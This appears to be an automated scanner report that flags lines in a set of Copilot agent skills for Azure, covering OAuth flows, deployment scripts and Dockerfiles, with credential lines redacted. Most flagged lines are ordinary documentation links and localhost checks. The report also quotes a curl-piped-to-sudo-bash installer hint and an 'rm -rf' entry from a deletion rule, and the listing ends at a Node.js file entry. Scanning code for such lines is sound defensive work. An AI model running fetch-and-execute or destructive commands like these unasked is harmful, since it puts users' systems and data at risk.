harness/github-copilot/skills/azure-entra-app-registration/references/oauth-flows.md
- Network accessline 26
https://login.microsoftonline.com/{tenant}/oauth2/v2.0/authorize? - Network accessline 50
https://your-app.com/callback? - Network accessline 62
POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token - Access to secretsline 70
[Credential-related source omitted] - Access to secretsline 76
[Credential-related source omitted] - Network accessline 87
GET https://graph.microsoft.com/v1.0/me - Access to secretsline 88
[Credential-related source omitted] - Network accessline 126
https://login.microsoftonline.com/{tenant}/oauth2/v2.0/authorize? - Network accessline 139
POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token - Network accessline 177
POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token - Network accessline 180
client_id={application_id} &scope=https://graph.microsoft.com/.default - Network accessline 181
&scope=https://graph.microsoft.com/.default - Access to secretsline 182
[Credential-related source omitted] - Network accessline 186
**Parameters:** - `scope`: Use `{resource}/.default` format - For Microsoft Graph: `https://graph.microsoft.com/.default` - Network accessline 187
- `scope`: Use `{resource}/.default` format - For Microsoft Graph: `https://graph.microsoft.com/.default` - For your API: `api://{api_app_id}/.default` - Network accessline 188
- For Microsoft Graph: `https://graph.microsoft.com/.default` - Access to secretsline 194
[Credential-related source omitted] - Network accessline 203
GET https://graph.microsoft.com/v1.0/users - Access to secretsline 204
[Credential-related source omitted] - Network accessline 228
POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode - Network accessline 238
"user_code": "GTHK-QPMN", "device_code": "GMMhmHCXhWEzkobqIHGG_EnNYYsAkukHspeYUk9E8", "verification_uri": "https://microsoft.com/devicelogin", - Network accessline 239
"device_code": "GMMhmHCXhWEzkobqIHGG_EnNYYsAkukHspeYUk9E8", "verification_uri": "https://microsoft.com/devicelogin", "expires_in": 900, - Network accessline 240
"verification_uri": "https://microsoft.com/devicelogin", - Network accessline 241
"expires_in": 900, "interval": 5, "message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code GTHK-QPMN to authenticate." - Network accessline 242
"interval": 5, "message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code GTHK-QPMN to authenticate." } - Network accessline 243
"message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code GTHK-QPMN to authenticate." - Network accessline 250
To sign in, open https://microsoft.com/devicelogin - Network accessline 257
POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token - Access to secretsline 278
[Credential-related source omitted] - Network accessline 299
POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token - Access to secretsline 306
[Credential-related source omitted] - Access to secretsline 309
[Credential-related source omitted] - Access to secretsline 314
[Credential-related source omitted] - Network accessline 335
{ "aud": "https://graph.microsoft.com", - Network accessline 336
"aud": "https://graph.microsoft.com", - Network accessline 337
"iss": "https://sts.windows.net/{tenant}/", - Network accessline 374
https://graph.microsoft.com/User.Read - Network accessline 375
https://graph.microsoft.com/Mail.Send - Network accessline 398
[OAuth 2.0 spec](https://www.rfc-editor.org/rfc/rfc6749)
harness/github-copilot/skills/azure-entra-app-registration/references/troubleshooting.md
- Network accessline 20
AADSTS50011: The redirect URI 'http://localhost:3000' specified in the request - Network accessline 30
Registered: https://myapp.com/callback - Network accessline 31
Request: https://myapp.com/callback/ ❌ (trailing slash) - Network accessline 32
Request: https://MyApp.com/callback ❌ (case difference) - Network accessline 33
Request: https://myapp.com/callback ✅ - Network accessline 39
# CLI: az ad app update --id $APP_ID \ --web-redirect-uris "http://localhost:3000" "https://myapp.com/callback" - Network accessline 40
az ad app update --id $APP_ID --web-redirect-uris "http://localhost:3000" "https://myapp.com/callback" - Network accessline 41
--web-redirect-uris "http://localhost:3000" "https://myapp.com/callback" - Network accessline 177
Unless the the access token is encrypted, you can decode and view its claims securely at https://jwt.ms. **Don't** use any other website to decode an access token. Compare the claims in the token with the app registration's configuration to - Network accessline 183
**Tool:** https://jwt.ms - Network accessline 268
- [Microsoft Q&A](https://learn.microsoft.com/answers/) - Network accessline 269
- [Microsoft Identity Platform Documentation](https://learn.microsoft.com/entra/identity-platform/)
harness/github-copilot/skills/azure-infrastructure/scripts/bootstrap.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 154
echo "Install missing tools:" echo " terraform: brew install terraform" echo " azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Network accessline 155
echo " terraform: brew install terraform" echo " azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" echo " kubectl: az aks install-cli" - Dangerous shell operationline 156
echo " azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Network accessline 156
echo " azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Network accessline 309
CLUSTER_NAME=$(terraform output -raw kubernetes_cluster_name) ACR_NAME=$(terraform output -raw acr_login_server | cut -d'.' -f1) KEY_VAULT=$(terraform output -raw key_vault_uri | sed 's|https://||' | cut -d'.' -f1) - Network accessline 311
KEY_VAULT=$(terraform output -raw key_vault_uri | sed 's|https://||' | cut -d'.' -f1) - Network accessline 364
log_step "Installing ArgoCD..." kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/ha/install.yaml - Network accessline 365
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/ha/install.yaml
harness/github-copilot/skills/azure-infrastructure/scripts/platform-bootstrap.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 536
echo "Access URLs:" echo " ArgoCD: https://${argocd_url}" - Network accessline 537
echo " ArgoCD: https://${argocd_url}" - Network accessline 538
echo " Backstage: https://${backstage_url}" - Network accessline 539
echo " Grafana: https://${grafana_url}" - Dangerous shell operationline 591
rm -f "$CHECKPOINT_FILE"
harness/github-copilot/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/aspnet-core.md
- Network accessline 180
- **Default port:** 8080 (since .NET 8; previously 80 in .NET 7 and earlier) - **Env var override:** `ASPNETCORE_URLS=http://+:8080` or `ASPNETCORE_HTTP_PORTS=8080` - Network accessline 181
- **Env var override:** `ASPNETCORE_URLS=http://+:8080` or `ASPNETCORE_HTTP_PORTS=8080` - Network accessline 182
- **Code override:** `builder.WebHost.UseUrls("http://+:8080")` in `Program.cs`
harness/github-copilot/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/django.md
harness/github-copilot/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/fastapi.md
harness/github-copilot/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/flask.md
harness/github-copilot/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/go.md
- Network accessline 108
config.BeforeConnect = func(ctx context.Context, cfg *pgx.ConnConfig) error { token, err := cred.GetToken(ctx, policy.TokenRequestOptions{ Scopes: []string{"https://ossrdbms-aad.database.windows.net/.default"}, - Network accessline 109
token, err := cred.GetToken(ctx, policy.TokenRequestOptions{ Scopes: []string{"https://ossrdbms-aad.database.windows.net/.default"}, }) - Network accessline 110
Scopes: []string{"https://ossrdbms-aad.database.windows.net/.default"}, - Network accessline 199
The `./cmd/server` path is conventional for Go projects using the [Standard Go Project Layout](https://github.com/golang-standards/project-layout). Adjust to match the actual `main` package location.
harness/github-copilot/skills/azure-kubernetes-app-deploy/phases/quick-deploy.md
harness/github-copilot/skills/azure-kubernetes-app-deploy/references/detection.md
- Network accessline 32
| Source code | `app.listen(<number>)`, `.listen(<number>)`, `server.port=<number>` | `app.listen(3000)` | | `application.properties` / `application.yml` (Java) | `server.port=<number>` | `server.port=8080` | | `appsettings.json` (.NET) | ` - Network accessline 33
| `application.properties` / `application.yml` (Java) | `server.port=<number>` | `server.port=8080` | | `appsettings.json` (.NET) | `"Urls": "http://*:<number>"` | `"Urls": "http://*:8080"` | | Framework defaults | Use known defaults if not - Network accessline 34
| `appsettings.json` (.NET) | `"Urls": "http://*:<number>"` | `"Urls": "http://*:8080"` |
harness/github-copilot/skills/azure-kubernetes-app-deploy/references/workload-identity.md
- Network accessline 39
Federated Credential ├── Issuer: https://oidc.prod-aks.azure.com/<tenant-id>/<cluster-id> - Network accessline 40
├── Issuer: https://oidc.prod-aks.azure.com/<tenant-id>/<cluster-id> - Network accessline 102
[Credential-related source omitted] - Network accessline 103
[Credential-related source omitted] - Network accessline 116
[Credential-related source omitted] - Network accessline 118
new TokenRequestContext(new[] { "https://ossrdbms-aad.database.windows.net/.default" })); - Network accessline 182
[Credential-related source omitted] - Network accessline 183
[Credential-related source omitted] - Access to secretsline 189
[Credential-related source omitted] - Network accessline 196
[Credential-related source omitted] - Network accessline 198
new TokenRequestContext(new[] { "https://redis.azure.com/.default" }));
harness/github-copilot/skills/azure-kubernetes-app-deploy/templates/dockerfiles/dotnet.Dockerfile
- Network accessline 56
ENV ASPNETCORE_URLS="http://+:8080" \ - Network accessline 60
# No HEALTHCHECK: the aspnet runtime image does not include curl or wget. - Network accessline 61
# Kubernetes liveness/readiness probes (configured in deployment.yaml) handle # health checking in AKS. For local Docker usage, install wget or add # app.MapHealthChecks("/healthz") and use a custom health check binary. - Network accessline 62
# health checking in AKS. For local Docker usage, install wget or add
harness/github-copilot/skills/azure-kubernetes-app-deploy/templates/dockerfiles/dotnet.dockerignore
- Access to secretsline 7
[Credential-related source omitted]
harness/github-copilot/skills/azure-kubernetes-app-deploy/templates/dockerfiles/go.dockerignore
- Access to secretsline 9
[Credential-related source omitted]
harness/github-copilot/skills/azure-kubernetes-app-deploy/templates/dockerfiles/java.Dockerfile
- Network accessline 74
# No HEALTHCHECK: the JRE Alpine image does not include wget or curl.
harness/github-copilot/skills/azure-kubernetes-app-deploy/templates/dockerfiles/java.dockerignore
- Access to secretsline 8
[Credential-related source omitted]
harness/github-copilot/skills/azure-kubernetes-app-deploy/templates/dockerfiles/node.dockerignore
- Access to secretsline 4
[Credential-related source omitted]
harness/github-copilot/skills/azure-kubernetes-app-deploy/templates/dockerfiles/python.Dockerfile
- Network accessline 60
# HEALTHCHECK is omitted — Kubernetes liveness/readiness probes handle health # checks in AKS. Adding a Dockerfile HEALTHCHECK would require installing curl # in the runtime image, increasing size and attack surface.
harness/github-copilot/skills/azure-kubernetes-app-deploy/templates/dockerfiles/python.dockerignore
- Access to secretsline 8
[Credential-related source omitted]
harness/github-copilot/skills/azure-kubernetes-app-deploy/templates/dockerfiles/rust.Dockerfile
harness/github-copilot/skills/azure-kubernetes-app-deploy/templates/dockerfiles/rust.dockerignore
- Access to secretsline 3
[Credential-related source omitted]
harness/github-copilot/skills/azure-kubernetes-app-deploy/templates/mermaid/summary-dashboard.md
- Network accessline 17
| Resource | Type | Name | Portal Link | |----------|------|------|-------------| | Resource Group | resourceGroups | {{RG_NAME}} | `https://portal.azure.com/...` | - Network accessline 18
|----------|------|------|-------------| | Resource Group | resourceGroups | {{RG_NAME}} | `https://portal.azure.com/...` | | AKS Cluster | managedClusters | {{AKS_NAME}} | `https://portal.azure.com/...` | - Network accessline 19
| Resource Group | resourceGroups | {{RG_NAME}} | `https://portal.azure.com/...` | - Network accessline 20
| AKS Cluster | managedClusters | {{AKS_NAME}} | `https://portal.azure.com/...` | - Network accessline 21
| Container Registry | registries | {{ACR_NAME}} | `https://portal.azure.com/...` | - Network accessline 22
| {{BACKING_SERVICE}} | {{TYPE}} | {{NAME}} | `https://portal.azure.com/...` |
harness/github-copilot/skills/azure-kubernetes-automatic-readiness/SKILL.md
- Network accessline 18
You are an AKS Automatic compatibility assessment agent. Your job is to evaluate whether Kubernetes workloads and cluster configurations are compatible with [AKS Automatic](https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic), i - Network accessline 118
If `mcp_azure_mcp_aks` is not available, inform the user: > "The Azure MCP server is not configured in your editor. To enable live cluster assessment, follow the setup guide at [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup). For n - Network accessline 119
> "The Azure MCP server is not configured in your editor. To enable live cluster assessment, follow the setup guide at [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup). For now, I can validate your local manifests offline."
harness/github-copilot/skills/azure-kubernetes-automatic-readiness/references/mcp-integration.md
- Network accessline 93
"description": "OIDC issuer not enabled", "remediation": "az aks update --enable-oidc-issuer --resource-group <rg> --name <cluster>", "documentationUrl": "https://learn.microsoft.com/azure/aks/..." - Network accessline 94
"remediation": "az aks update --enable-oidc-issuer --resource-group <rg> --name <cluster>", "documentationUrl": "https://learn.microsoft.com/azure/aks/..." } - Network accessline 95
"documentationUrl": "https://learn.microsoft.com/azure/aks/..." - Network accessline 162
If `mcp_azure_mcp_aks` is not available, say: > "The Azure MCP server is not configured. To enable live cluster assessment, install it following [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup). For now, I can validate your local ma - Network accessline 163
> "The Azure MCP server is not configured. To enable live cluster assessment, install it following [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup). For now, I can validate your local manifests offline — export them with `kubectl ge - Network accessline 199
| Error | Cause | Fix | |---|---|---| | `tool not found: mcp_azure_mcp_aks` | Azure MCP server not configured | Guide user to install: [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup), then fall back to offline | - Network accessline 200
|---|---|---| | `tool not found: mcp_azure_mcp_aks` | Azure MCP server not configured | Guide user to install: [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup), then fall back to offline | | `HTTP 401 Unauthorized` | Not logged in | - Network accessline 201
| `tool not found: mcp_azure_mcp_aks` | Azure MCP server not configured | Guide user to install: [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup), then fall back to offline |
harness/github-copilot/skills/azure-kubernetes/SKILL.md
- Network accessline 67
- **Azure CNI Overlay** (recommended): pod IPs from private overlay range, not VNet-routable, scales to large environments and good for most workloads - **Azure CNI (VNet-routable)**: pod IPs directly from VNet (pod subnet or node subnet), - Network accessline 69
- Docs: https://learn.microsoft.com/azure/aks/azure-cni-overlay
harness/github-copilot/skills/azure-kusto-graph/references/EXAMPLES.md
harness/github-copilot/skills/azure-kusto-graph/references/KUSTO_EXPLORER_LAUNCH.md
harness/github-copilot/skills/azure-kusto-irql-graph/SKILL.md
- Network accessline 49
- **Cluster**: `https://kc7001.eastus.kusto.windows.net` - Network accessline 136
Use icons from `https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-icons/`: - Network accessline 207
let auth_mapping = '{"node_types":[{"type":"SrcIp","id":"SrcIp","key":"ClientIp","props":["ClientIp"],"defaults":{},"defIcon":"https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-icons/Public-IP-Addresses-(Classic).svg"}, - Network accessline 224
let mail_mapping = '{"node_types":[{"type":"EmailMessage","id":"Message","key":"Subject","props":["EnvTime","Subject","Verdict"],"defaults":{},"defIcon":"https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-icons/Media-Fil - Network accessline 239
let suspicious_domain_mapping = '{"node_types":[{"type":"IP","id":"IP","key":"ClientIp","props":["ClientIp"],"defaults":{},"defIcon":"https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-icons/Public-IP-Addresses-(Classic) - Network accessline 256
let proc_mapping = '{"node_types":[{"type":"Process","id":"Proc","key":"ProcessName","props":["ProcessName","ProcessCommandLine","ProcessHash"],"defaults":{},"defIcon":"https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-
harness/github-copilot/skills/azure-kusto-irql-graph/references/EXAMPLES.md
harness/github-copilot/skills/azure-kusto-irql-graph/references/KUSTO_EXPLORER_LAUNCH.md
harness/github-copilot/skills/azure-kusto-irql/SKILL.md
harness/github-copilot/skills/azure-kusto-irql/references/EXAMPLES.md
harness/github-copilot/skills/azure-kusto-irql/references/KUSTO_EXPLORER_LAUNCH.md
harness/github-copilot/skills/azure-managed-redis-cache/references/access-and-network.md
- Network accessline 32
- [Authenticate to Azure Managed Redis with Microsoft Entra ID](https://learn.microsoft.com/azure/redis/entra-for-authentication) - Network accessline 33
- [Azure Managed Redis network isolation](https://learn.microsoft.com/azure/redis/) - Network accessline 34
- [DefaultAzureCredential](https://learn.microsoft.com/azure/developer/intro/azure-developer-create-resources)
harness/github-copilot/skills/azure-managed-redis-cache/references/semantic-cache.md
- Network accessline 39
- [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/redis-vector-search) - Network accessline 40
- [RedisVL semantic cache](https://redis.io/docs/latest/integrate/redisvl/user_guide/llmcache/) - Network accessline 41
- [Azure API Management semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy)
harness/github-copilot/skills/azure-managed-redis-cache/references/session-store.md
harness/github-copilot/skills/azure-managed-redis-cache/references/vector-memory.md
- Network accessline 32
- [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/redis-vector-search) - Network accessline 33
- [RedisVL vector queries](https://redis.io/docs/latest/integrate/redisvl/) - Network accessline 34
- [Azure AI Search vector search](https://learn.microsoft.com/azure/search/vector-search-overview)
harness/github-copilot/skills/azure-observability-stack/SKILL.md
- Network accessline 31
# Add Helm repos helm repo add prometheus-community https://prometheus-community.github.io/helm-charts - Network accessline 32
helm repo add prometheus-community https://prometheus-community.github.io/helm-charts - Network accessline 79
# Check Prometheus targets curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length' - Network accessline 80
curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length' - Network accessline 83
[Credential-related source omitted] - Network accessline 85
curl -s -u "${GRAFANA_USER}:${GRAFANA_PASSWORD}" http://localhost:3000/api/datasources | jq '.[].name' - Network accessline 98
# Query Prometheus API curl -s http://localhost:9090/api/v1/query?query=up | jq '.data.result' - Network accessline 99
curl -s http://localhost:9090/api/v1/query?query=up | jq '.data.result' - Network accessline 101
# Check targets curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length' - Network accessline 102
curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length' - Network accessline 114
[Credential-related source omitted] - Network accessline 116
curl -s -u "${GRAFANA_USER}:${GRAFANA_PASSWORD}" http://localhost:3000/api/datasources | jq '.[].name' - Network accessline 124
# List active alerts curl -s http://localhost:9093/api/v2/alerts | jq '.[].labels.alertname' - Network accessline 125
curl -s http://localhost:9093/api/v2/alerts | jq '.[].labels.alertname'
harness/github-copilot/skills/azure-observability-stack/references/troubleshooting.md
- Network accessline 14
# Check for scrape errors curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets[] | select(.health != "up") | {job: .labels.job, health, lastError}' - Network accessline 15
curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets[] | select(.health != "up") | {job: .labels.job, health, lastError}'
harness/github-copilot/skills/azure-prepare/references/apim.md
- Access to secretsline 199
[Credential-related source omitted] - Network accessline 209
- [APIM v2 Overview](https://learn.microsoft.com/azure/api-management/v2-service-tiers-overview) - Network accessline 210
- [APIM Bicep Reference](https://learn.microsoft.com/azure/templates/microsoft.apimanagement/service) - Network accessline 211
- [APIM Terraform](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/api_management) - Network accessline 212
- [GenAI Gateway Capabilities](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities)
harness/github-copilot/skills/azure-prepare/references/aspire.md
- Network accessline 267
| Sample | Repository | Notes | |--------|------------|-------| | orleans-voting | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/orleans-voting) | Orleans cluster with voting app | - Network accessline 268
|--------|------------|-------| | orleans-voting | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/orleans-voting) | Orleans cluster with voting app | | AspireYarp | [dotnet/aspire-samples](https://github. - Network accessline 269
| orleans-voting | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/orleans-voting) | Orleans cluster with voting app | - Network accessline 270
| AspireYarp | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/AspireYarp) | YARP reverse proxy | - Network accessline 271
| AspireWithDapr | [dotnet/aspire-samples](https://github.com/dotnet/aspire-samples/tree/main/samples/AspireWithDapr) | Dapr integration | - Network accessline 272
| eShop | [dotnet/eShop](https://github.com/dotnet/eShop) | Reference microservices app | - Network accessline 418
- [.NET Aspire Documentation](https://learn.microsoft.com/en-us/dotnet/aspire/) - Network accessline 419
- [Azure Developer CLI (azd)](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/) - Network accessline 420
- [Aspire Samples Repository](https://github.com/dotnet/aspire-samples) - Network accessline 421
- [azd + Aspire Integration](https://learn.microsoft.com/en-us/dotnet/aspire/deployment/azure/aca-deployment-azd-in-depth)
harness/github-copilot/skills/azure-prepare/references/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/github-copilot/skills/azure-prepare/references/azure-context.md
- Network accessline 121
- Invoke **azure-resource-lookup** skill to count existing deployments of that resource type in the selected subscription and region - Use the count to calculate: `Total After Deployment = Current Count + Planned Deployment` - Referen - Network accessline 122
- Use the count to calculate: `Total After Deployment = Current Count + Planned Deployment` - Reference [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-ser - Network accessline 123
- Reference [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) for the limit value
harness/github-copilot/skills/azure-prepare/references/functional-verification.md
- Network accessline 42
│ ├── User says yes │ │ ├── App can run locally? → Run locally, verify backend + UI │ │ ├── API-only / no UI? → Test endpoints with curl or similar - Network accessline 43
│ │ ├── App can run locally? → Run locally, verify backend + UI │ │ ├── API-only / no UI? → Test endpoints with curl or similar │ │ └── Static site? → Open in browser, verify rendering - Network accessline 44
│ │ ├── API-only / no UI? → Test endpoints with curl or similar
harness/github-copilot/skills/azure-prepare/references/global-rules.md
- Dangerous shell operationline 13
| **Delete** | `az group delete`, `azd down`, `rm -rf`, delete resource | - Dangerous shell operationline 33
- ⛔ Do NOT delete user project or workspace directories (e.g., `rm -rf <project-dir>`) even when adding features, converting, or migrating — use MODIFY mode to edit existing files instead. File deletions within a project (e.g., removing bui
harness/github-copilot/skills/azure-prepare/references/plan-template.md
- Network accessline 119
- **If quota CLI is NOT supported** (returns `BadRequest`): - Get current usage: `az graph query -q "resources | where type == '{resource-type}' and location == '{location}' | count"` (requires `az extension add --name resource-graph`) - Network accessline 120
- Get current usage: `az graph query -q "resources | where type == '{resource-type}' and location == '{location}' | count"` (requires `az extension add --name resource-graph`) - Get limit: [Azure service limits documentation](https://l - Network accessline 121
- Get limit: [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) - Network accessline 141
- **MUST use azure-quotas skill first** to check providers via quota CLI (`az quota` commands) - Microsoft.Compute, Microsoft.Network, Microsoft.App, etc. - Azure quota CLI is **ALWAYS preferred over REST API** for checking quotas - **ONLY - Network accessline 142
- Azure quota CLI is **ALWAYS preferred over REST API** for checking quotas - **ONLY for unsupported providers** (e.g., Microsoft.DocumentDB returns `BadRequest`), use fallback methods: [Azure service limits documentation](https://learn.mic - Network accessline 143
- **ONLY for unsupported providers** (e.g., Microsoft.DocumentDB returns `BadRequest`), use fallback methods: [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-
harness/github-copilot/skills/azure-prepare/references/recipes/azd/aspire.md
- Network accessline 68
.NET Aspire [external parameters](https://aspire.dev/fundamentals/external-parameters/) let apps request values from the deployment environment. Each `AddParameter()` call generates a Bicep parameter in the deployment manifest. However, azd - Network accessline 106
If the value must remain an [external parameter](https://aspire.dev/fundamentals/external-parameters/) (e.g., it varies per environment), pre-set it in the azd environment config immediately after `azd init`: - Access to secretsline 117
[Credential-related source omitted] - Network accessline 145
**Cause:** The AppHost uses `AddParameter()` as a `WithBuildArg` argument. azd cannot resolve Aspire [external parameters](https://aspire.dev/fundamentals/external-parameters/) during Docker builds, regardless of azd version. - Network accessline 224
- [.NET Aspire External Parameters](https://aspire.dev/fundamentals/external-parameters/) - Network accessline 225
- [.NET Aspire Docs](https://learn.microsoft.com/dotnet/aspire/) - Network accessline 226
- [azd + Aspire](https://learn.microsoft.com/dotnet/aspire/deployment/azure/aca-deployment-azd-in-depth) - Network accessline 227
- [Samples](https://github.com/dotnet/aspire-samples)
harness/github-copilot/skills/azure-prepare/references/recipes/azd/docker.md
- Access to secretsline 99
[Credential-related source omitted]
harness/github-copilot/skills/azure-prepare/references/recipes/azd/iac-rules.md
- Network accessline 50
{ "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#", - Network accessline 51
"$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#", - Network accessline 64
> ⚠<U+FE0F> **Before generating any resource name in Bicep, check [Resource naming rules](https://learn.microsoft.com/azure/azure-resource-manager/management/resource-name-rules) for that resource type's valid characters, length limits, and unique - Network accessline 70
- [Resource abbreviations](https://learn.microsoft.com/azure/cloud-adoption-framework/ready/azure-best-practices/resource-abbreviations) — recommended prefixes per resource type
harness/github-copilot/skills/azure-prepare/references/recipes/azd/terraform.md
- Network accessline 478
- [Microsoft Docs: Use Terraform with azd](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/use-terraform-for-azd) - Network accessline 479
- [azd-starter-terraform template](https://github.com/Azure-Samples/azd-starter-terraform) - Network accessline 480
- [Terraform Azure Provider](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs) - Network accessline 481
- [Azure CAF Naming](https://registry.terraform.io/providers/aztfmod/azurecaf/latest/docs)
harness/github-copilot/skills/azure-prepare/references/recipes/bicep/patterns.md
harness/github-copilot/skills/azure-prepare/references/region-availability.md
- Network accessline 3
> **AUTHORITATIVE SOURCE** — Consult service-specific files BEFORE recommending any region. > > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table - Network accessline 5
> Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table
harness/github-copilot/skills/azure-prepare/references/research.md
- Network accessline 7
1. **Identify Components** — List all Azure services from architecture plan 2. **Load Service References** — For each service, load `services/<service>/README.md` first, then specific references as needed 3. **Check Resource Naming Rules** - Network accessline 8
2. **Load Service References** — For each service, load `services/<service>/README.md` first, then specific references as needed 3. **Check Resource Naming Rules** — For each resource type, check [resource naming rules](https://learn.micros - Network accessline 9
3. **Check Resource Naming Rules** — For each resource type, check [resource naming rules](https://learn.microsoft.com/azure/azure-resource-manager/management/resource-name-rules) for valid characters, length limits, and uniqueness scopes
harness/github-copilot/skills/azure-prepare/references/resources-limits-quotas.md
- Network accessline 59
2. Get limit from [service documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) - Network accessline 96
| Service | Hard Limits (examples) | Quota Check | Notes | |---------|------------------------|-------------|-------| | **Cosmos DB** | Item: 2MB, Partition key: 2KB, Serverless storage: 50GB | ❌ Not supported. Use Resource Graph + [docs](h - Network accessline 97
|---------|------------------------|-------------|-------| | **Cosmos DB** | Item: 2MB, Partition key: 2KB, Serverless storage: 50GB | ❌ Not supported. Use Resource Graph + [docs](https://learn.microsoft.com/en-us/azure/cosmos-db/concepts-l - Network accessline 98
| **Cosmos DB** | Item: 2MB, Partition key: 2KB, Serverless storage: 50GB | ❌ Not supported. Use Resource Graph + [docs](https://learn.microsoft.com/en-us/azure/cosmos-db/concepts-limits). Default: 50 accounts/region | Query: `az graph quer - Network accessline 158
|-------|------|--------| | "Quota exceeded" | Quota | Use azure-quotas to request increase | | "(BadRequest) Bad request" | Unsupported provider | Use [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/man - Network accessline 159
| "Quota exceeded" | Quota | Use azure-quotas to request increase | | "(BadRequest) Bad request" | Unsupported provider | Use [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription - Network accessline 160
| "(BadRequest) Bad request" | Unsupported provider | Use [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) | - Network accessline 210
- **azure-quotas skill** - Complete quota checking workflow and CLI commands (invoke the **azure-quotas** skill) - [Azure subscription limits](https://learn.microsoft.com/azure/azure-resource-manager/management/azure-subscription-service-li - Network accessline 211
- [Azure subscription limits](https://learn.microsoft.com/azure/azure-resource-manager/management/azure-subscription-service-limits) - Official Microsoft documentation - Network accessline 212
- [Azure Quotas Overview](https://learn.microsoft.com/en-us/azure/quotas/quotas-overview) - Understanding quotas and limits
harness/github-copilot/skills/azure-prepare/references/runtimes/nodejs.md
- Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 117
[Credential-related source omitted] - Network accessline 173
# Health check HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \ CMD wget --no-verbose --tries=1 --spider http://localhost:3000/health || exit 1 - Network accessline 174
HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 CMD wget --no-verbose --tries=1 --spider http://localhost:3000/health || exit 1 - Network accessline 175
